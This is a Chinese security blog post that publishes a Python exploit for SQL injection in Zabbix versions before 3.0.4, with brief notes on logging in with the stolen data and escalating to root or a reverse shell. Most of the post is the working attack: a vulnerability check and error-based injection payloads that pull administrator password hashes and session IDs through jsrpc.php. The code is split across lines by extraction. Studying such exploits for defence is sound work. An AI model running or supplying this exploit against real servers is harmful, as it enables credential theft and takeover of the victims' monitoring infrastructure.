zabbix < 3.0.4 SQL Injection Exploit
登录界面
右键源代码 在 jsLoader.php 后面的为 zabbix 版本号
EXP
# -*- coding: utf-8 -*-
import
urllib2
import
sys
,
os
import
re
def
deteck_Sql
():
payload
=
"/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=999'&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids%5B23297%5D=23297&action=showlatest&filter=&filter_task=&mark_color=1"
try
:
response
=
urllib2
.
urlopen
(
url
+
payload
,
timeout
=
10
)
.
read
()
except
Exception
,
msg
:
msg
else
:
key_reg
=
re
.
compile
(
r
"INSERT\s*INTO\s*profiles"
)
if
key_reg
.
findall
(
response
):
return
True
def
sql_Inject
(
sql
):
payload
=
url
+
"/jsrpc.php?sid=0bcd4ade648214dc&type=9&method=screen.get×tamp=1471403798083&mode=2&screenid=&groupid=&hostid=0&pageFile=history.php&profileIdx=web.item.graph&profileIdx2="
+
urllib2
.
quote
(
sql
)
+
"&updateProfile=true&screenitemid=&period=3600&stime=20160817050632&resourcetype=17&itemids[23297]=23297&action=showlatest&filter=&filter_task=&mark_color=1"
try
:
response
=
urllib2
.
urlopen
(
payload
,
timeout
=
10
)
.
read
()
except
Exception
,
msg
:
msg
else
:
result_reg
=
re
.
compile
(
r
"Duplicate\s*entry\s*'~(.+?)~1"
)
results
=
result_reg
.
findall
(
response
)
if
results
:
return
results
[
0
]
if
__name__
==
'__main__'
:
'Zabbix < 3.0.4 SQLi Exploit'
if
len
(
sys
.
argv
)
!=
2
:
'usage: '
+
os
.
path
.
basename
(
sys
.
argv
[
0
])
+
' url'
sys
.
exit
()
url
=
sys
.
argv
[
1
]
if
url
[
-
1
]
!=
'/'
:
url
+=
'/'
passwd_sql
=
"(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select concat(name,0x3a,passwd) from users limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
session_sql
=
"(select 1 from(select count(*),concat((select (select (select concat(0x7e,(select sessionid from sessions limit 0,1),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)"
if
deteck_Sql
():
'password:
%s
'
%
sql_Inject
(
passwd_sql
)
'sessionid:
%s
'
%
sql_Inject
(
session_sql
)
else
:
'No SQL injection'
登录 用户名 zabbix 或者 admin
至于提权
root 权限 直接加用户
非 root 权限 反弹shell
- By:X1r0z[exp10it.cn]
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论